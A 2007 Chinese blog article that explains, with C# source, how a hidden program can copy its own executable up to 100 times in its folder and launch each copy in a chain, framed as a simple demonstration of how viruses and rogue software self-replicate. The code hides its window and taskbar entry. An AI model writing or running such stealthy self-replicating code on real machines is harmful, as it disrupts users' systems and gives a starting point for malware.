| 病毒及流氓软件自我复制的简单实现(C#) | ★★★ |
| 病毒及流氓软件自我复制的简单实现(C#) | ||
| 作者:哽咽 文章来源:本站原创 更新时间:2007-5-4 6:59:30 【字体:小 大】 | ||
最近朋友的电脑中了病毒,让我跑了三次,费了九牛二虎之力,几种杀毒软件还是没有能把病毒全清除掉,最后没有办法,只能把资料复制出来,把硬盘重新分区了再装系统,装上了可以免费使用的AntiVir,于是乎世界终于清静。 不仅因为Windows系统的脆弱,而且因为病毒无休止的自我复制和满硬盘的藏匿,使得我们脆弱的神经不堪重负,面对千疮百孔,有着莫名其妙而又千奇百怪的名字文件夹和文件的系统,相信大多数人都会选择重装系统。病毒和流氓软件总是让人气愤!那么,计算机程序怎么实现自我复制呢?其实这非常的简单。下面我将用C#简单的实现一个能够自我复制的小小的恶意程序。 程序要实现下面几个功能。 第一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。 第二,程序在运行目录下自我复制n份。 第三,采用递归复制的方法,即第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。 源代码很简单,下面来分析一下: 35 // 不在任务栏显示36 this.ShowInTaskbar = false;37 // 窗体透明38 this.Opacity = 0;
44 // 默认复制次数45 const int TOTAL = 100;46 int _count = TOTAL;47 // 正在运行的程序路径和文件名48 string _file = Application.ExecutablePath;49 // 正在运行的程序路径50 string _path = Application.StartupPath;51 // 正在运行的程序文件名 52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();53 try54 {55 _count = int.Parse(_name.Replace(".exe", string.Empty));56 _count--;57 }58 catch59 {60 }61 finally62 {63 }64 // 目标文件65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));
67 if ((File.Exists(_file)) && (_count > 0))68 {69 // 复制70 FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);71 byte[] _buffer = new byte[_fileStream.Length];72 _fileStream.Read(_buffer, 0, _buffer.Length);73 _fileStream.Close();74 // 如果目标已存在,删除75 if (File.Exists(_target))76 {77 File.Delete(_target);78 }79 // 粘贴80 FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);81 _writer.Write(_buffer, 0, _buffer.Length);82 _writer.Close();83 // 运行刚复制完成的程序84 System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(_target));85 }86 Application.Exit();
|
||
|
||
| 文章录入:哽咽 责任编辑:哽咽 | ||
您现在的位置: